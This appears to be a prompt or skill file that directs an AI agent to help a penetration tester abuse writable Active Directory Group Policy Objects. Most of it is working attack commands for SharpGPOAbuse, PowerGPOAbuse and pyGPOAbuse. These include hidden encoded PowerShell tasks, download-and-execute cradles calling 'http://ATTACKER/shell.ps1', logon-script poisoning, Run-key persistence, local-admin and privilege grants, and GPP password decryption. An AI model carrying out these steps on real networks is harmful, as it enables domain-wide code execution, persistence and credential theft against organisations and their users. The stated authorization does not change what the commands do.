Gpo Abuse

GPO Abuse

You are helping a penetration tester exploit writable Group Policy Objects for code execution, privilege escalation, and lateral movement across Active Directory. All testing is under explicit written authorization.

Kerberos-first authentication: Enumeration and exploitation commands use Kerberos authentication where supported. pyGPOAbuse and Impacket tools use -k -no-pass, GroupPolicyBackdoor supports -k. Windows tools (SharpGPOAbuse, PowerGPOAbuse) use the current domain session.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [gpo-abuse] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Write access to a GPO (GenericWrite, WriteDACL, WriteProperty, GenericAll, or WriteOwner on the GPO object)
• OR write access to SYSVOL/NETLOGON logon scripts
• OR read access to SYSVOL (for GPP password extraction)
• Tools: SharpGPOAbuse (Windows), PowerGPOAbuse (PowerShell), pyGPOAbuse (Linux), GPOHound, optionally GroupPolicyBackdoor

Kerberos-first workflow (for Linux tools):

bashCopy code
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
export KRB5CCNAME=user.ccache

Step 1: Enumerate GPO Permissions

GPOHound (Comprehensive GPO Audit)

bashCopy code
# Dump and analyze all GPOs
pipx install "git+https://github.com/cogiceo/GPOHound"
gpohound dump --json
gpohound analysis --processed --object group registry
gpohound dump --list --gpo-name

BloodHound (Graph-Based Discovery)

Look for edges: GenericWrite, GenericAll, WriteDACL, WriteOwner, Owns on GPO objects. Check which OUs the GPO is linked to — this determines the blast radius.

PowerView (ACL Enumeration)

powershellCopy code
# Find GPOs where current user has write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
  ($_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|WriteProperty|GenericAll|WriteOwner") -and
  ($_.SecurityIdentifier -match (Get-DomainUser -Identity $env:USERNAME).objectsid)
}

# Get GPO details
Get-DomainGPO -Identity "SuperSecureGPO"

# Find which OUs are linked to the GPO
Get-DomainOU -GPLink "{GPO_GUID}" | Select DistinguishedName

# Find computers in those OUs
Get-DomainOU -GPLink "{GPO_GUID}" | ForEach-Object {
  Get-DomainComputer -SearchBase $_.DistinguishedName
}

NetExec GPO Enumeration

bashCopy code
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M gpo_enum

Key Information to Gather

1. GPO name and GUID — identifies the policy object
2. Linked OUs — determines which computers/users are affected
3. Computer count — blast radius of the modification
4. Current GPO settings — what the GPO already configures
5. GPO file path — \\DOMAIN\SYSVOL\DOMAIN\Policies\{GUID}\

Step 2: Choose Exploitation Method

GPO Refresh Timing: Default is every 90 minutes + 0-30 minute random offset. Force refresh on a target: gpupdate /force (requires access). DCs refresh every 5 minutes.

Step 3: GPO Exploitation

Step 3A: Immediate Task (Runs at Next GPO Refresh)

Creates a scheduled task that executes once per GPO refresh cycle.

SharpGPOAbuse (Windows):

powershellCopy code
# Add immediate task — runs as SYSTEM
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \
  --Author "DOMAIN\Admin" --Command "cmd.exe" \
  --Arguments "/c powershell.exe -nop -w hidden -enc BASE64_PAYLOAD" \
  --GPOName "Vulnerable GPO" --Force

PowerGPOAbuse (PowerShell):

powershellCopy code
. .\PowerGPOAbuse.ps1
Add-GPOImmediateTask -TaskName 'SystemUpdate' \
  -Command 'powershell.exe' \
  -CommandArguments '-nop -w hidden -enc BASE64_PAYLOAD' \
  -Author 'DOMAIN\Administrator' -Scope Computer \
  -GPOIdentity 'Vulnerable GPO'

pyGPOAbuse (Linux):

bashCopy code
# Immediate task with reverse shell
python3 pygpoabuse.py DOMAIN/user -hashes lm:nt \
  -gpo-id "{GPO_GUID}" \
  -powershell \
  -command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
  -taskname "SystemUpdate" -description "System maintenance"

GroupPolicyBackdoor (Linux, Kerberos-aware):

bashCopy code
# Create ImmediateTask_create.ini:
# [MODULECONFIG]
# name = Scheduled Tasks
# type = computer
# [MODULEOPTIONS]
# task_type = immediate
# program = cmd.exe
# arguments = /c "powershell -enc BASE64_PAYLOAD"

python3 gpb.py gpo inject --domain DOMAIN.LOCAL --dc DC.DOMAIN.LOCAL \
  -k --module modules_templates/ImmediateTask_create.ini \
  --gpo-name 'Vulnerable GPO'

# Save state folder for cleanup (printed in output)

Step 3B: Logon/Startup Scripts

SharpGPOAbuse (Windows):

powershellCopy code
# Computer startup script (runs as SYSTEM at boot)
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName "update.bat" \
  --ScriptContents "powershell.exe -nop -w hidden -enc BASE64_PAYLOAD" \
  --GPOName "Vulnerable GPO"

# User logon script (runs as user at logon)
.\SharpGPOAbuse.exe --AddUserScript --ScriptName "login.bat" \
  --ScriptContents "powershell.exe -nop -w hidden -enc BASE64_PAYLOAD" \
  --GPOName "Vulnerable GPO"

PowerGPOAbuse (PowerShell):

powershellCopy code
. .\PowerGPOAbuse.ps1
Add-ComputerScript -ScriptName 'update.ps1' \
  -ScriptContent 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")' \
  -GPOIdentity 'Vulnerable GPO'

Add-UserScript -ScriptName 'login.ps1' \
  -ScriptContent 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")' \
  -GPOIdentity 'Vulnerable GPO'

Step 3C: Registry Run Key (Persistence)

Uses Group Policy Preferences to set a registry value that executes on every logon.

powershellCopy code
# Native RSAT module
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=domain,DC=local"

Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create \
  -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
  -ValueName "Updater" \
  -Value "%COMSPEC% /b /c start /b /min \\DC\SYSVOL\DOMAIN\scripts\payload.exe" \
  -Type ExpandString

Step 3D: User Rights and Local Admin Assignment

SharpGPOAbuse (Windows):

powershellCopy code
# Add user as local admin on all GPO-linked computers
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker \
  --GPOName "Vulnerable GPO"

# Grant privileges (SeDebugPrivilege for mimikatz, etc.)
.\SharpGPOAbuse.exe --AddUserRights \
  --UserRights "SeTakeOwnershipPrivilege,SeDebugPrivilege" \
  --UserAccount attacker --GPOName "Vulnerable GPO"

PowerGPOAbuse (PowerShell):

powershellCopy code
. .\PowerGPOAbuse.ps1

# Local admin assignment
Add-LocalAdmin -Identity 'attacker' -GPOIdentity 'Vulnerable GPO'

# Privilege assignment
Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" \
  -Identity 'attacker' -GPOIdentity 'Vulnerable GPO'

StandIn (.NET):

powershellCopy code
# Local admin
StandIn.exe --gpo --filter "Vulnerable GPO" --localadmin attacker

# User rights
StandIn.exe --gpo --filter "Vulnerable GPO" --setuserrights attacker \
  --grant "SeDebugPrivilege,SeLoadDriverPrivilege"

Step 4: SYSVOL/NETLOGON Logon Script Poisoning

If you have write access to logon scripts stored in SYSVOL or NETLOGON, inject payload into existing scripts.

Discover Logon Scripts

bashCopy code
# Find users with logon scripts configured
bloodyAD -k -no-pass get search --filter '(scriptPath=*)' \
  --attr sAMAccountName,scriptPath

# Spider SYSVOL for scripts — use manspider for keyword/regex content search
# manspider runs from the attackbox via Bash (quick pass — orchestrator may task deeper review)
manspider DC.DOMAIN.LOCAL -u 'user' -p 'Password123' -d DOMAIN \
  -s SYSVOL -c password passwd cred secret -f ps1 bat cmd vbs xml

powershellCopy code
# PowerView
Get-DomainUser -Properties scriptPath | Where-Object { $_.scriptPath }

Test Write Access

bashCopy code
# Check if you can write to SYSVOL scripts folder
smbclient //DC.DOMAIN.LOCAL/SYSVOL -k --use-krb5-ccache=$KRB5CCNAME
smb: \> cd DOMAIN.LOCAL\scripts\
smb: \> put test.txt

Poison Existing Script

Prepend payload to an existing logon script to preserve original functionality:

VBScript (.vbs):

vbCopy code
' Prepend to existing logon script
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -nop -w hidden -enc BASE64_PAYLOAD"

' Original script content below...

Batch (.bat / .cmd):

batchCopy code
@echo off
REM Prepend to existing logon script
start /b powershell -nop -w hidden -enc BASE64_PAYLOAD

REM Original script content below...

PowerShell (.ps1):

powershellCopy code
# Prepend to existing logon script
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')

# Original script content below...

OPSEC Notes

• Runs under the logging-in user's context (not SYSTEM)
• Scope determined by which users have this script configured
• Preserve original script content and timestamps
• Clean up by restoring the original file after callback received

Step 5: GPP Password Extraction

Group Policy Preferences stored AES-encrypted passwords in SYSVOL XML files. Microsoft published the key (MS14-025), making decryption trivial. New GPP passwords can no longer be set, but old ones may persist.

Automated Extraction

bashCopy code
# Impacket Get-GPPPassword
Get-GPPPassword.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL

# NetExec modules
nxc smb DC.DOMAIN.LOCAL --use-kcache -M gpp_password
nxc smb DC.DOMAIN.LOCAL --use-kcache -M gpp_autologin

powershellCopy code
# PowerSploit
Get-GPPPassword

# Metasploit
use post/windows/gather/credentials/gpp

Manual Search

bashCopy code
# Search SYSVOL for cpassword attribute
findstr /S /I cpassword \\DOMAIN.LOCAL\SYSVOL\DOMAIN.LOCAL\Policies\*.xml

Common XML files containing GPP passwords:

• Groups.xml — local group membership
• Services.xml — service account passwords
• Scheduledtasks.xml — scheduled task credentials
• DataSources.xml — data source connection strings
• Drives.xml — mapped drive credentials
• Printers.xml — printer connection credentials

Manual Decryption

bashCopy code
# AES key (published by Microsoft):
# 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b

# Decrypt cpassword value
echo 'CPASSWORD_BASE64' | base64 -d | \
  openssl enc -d -aes-256-cbc \
  -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b \
  -iv 0000000000000000

# gpp-decrypt (Kali tool)
gpp-decrypt CPASSWORD_BASE64

Step 6: Cleanup

Always clean up GPO modifications after obtaining access. GPO changes affect all computers in the linked OU and persist until removed.

GroupPolicyBackdoor (State-Based Cleanup)

bashCopy code
# Clean up using state snapshot from Step 3A
python3 gpb.py gpo clean --domain DOMAIN.LOCAL --dc DC.DOMAIN.LOCAL \
  -k --state-folder 'state_folders/TIMESTAMP'

Manual Cleanup

powershellCopy code
# Remove immediate task
# Delete: \\DOMAIN\SYSVOL\DOMAIN\Policies\{GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml

# Remove logon script entry
# Edit: GPO -> User/Computer Configuration -> Scripts -> remove added script

# Remove local admin assignment
# Edit: GPO -> Computer Configuration -> Restricted Groups -> remove entry

# Force GPO refresh to propagate cleanup
gpupdate /force /target:computer

Verify Cleanup

powershellCopy code
# Check GPO contents after cleanup
Get-GPOReport -Name "Vulnerable GPO" -ReportType Xml -Path gpo-report.xml
# Review XML for any remaining modifications

Step 7: Escalate or Pivot

Troubleshooting

GPO Modification Not Taking Effect

• GPO refresh default is 90 min + 0-30 min random offset
• Force refresh: gpupdate /force (on target machine)
• DCs refresh every 5 minutes
• Verify the GPO is linked to the correct OU
• Verify the computer object is in the linked OU
• Check GPO enforcement/inheritance blocking

Write Access Denied on SYSVOL

• GPO object permissions in AD and SYSVOL filesystem ACLs are separate
• You may have AD write but not SYSVOL write, or vice versa
• Check both: AD ACL on the GPO object AND NTFS ACLs on the SYSVOL path
• Use smbclient or smbcacls to check filesystem permissions

SharpGPOAbuse "GPO Not Found"

• Use exact GPO display name (case-sensitive)
• Try GPO GUID instead: --GPOName "{12345678-ABCD-1234-ABCD-123456789012}"
• Verify you can reach SYSVOL share

pyGPOAbuse Authentication Errors

• Use -hashes lm:nt format (both LM and NT hash required)
• For Kerberos: ensure TGT is valid and clock is synced
• Use full FQDN for DC hostname

GPP Decryption Returns Garbage

• Verify the cpassword value is complete (not truncated)
• Some tools expect the raw base64, others expect the XML attribute value
• Check if the password was set after MS14-025 patch (post-2014 GPPs should not contain cpassword)

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

bashCopy code
sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

OPSEC Comparison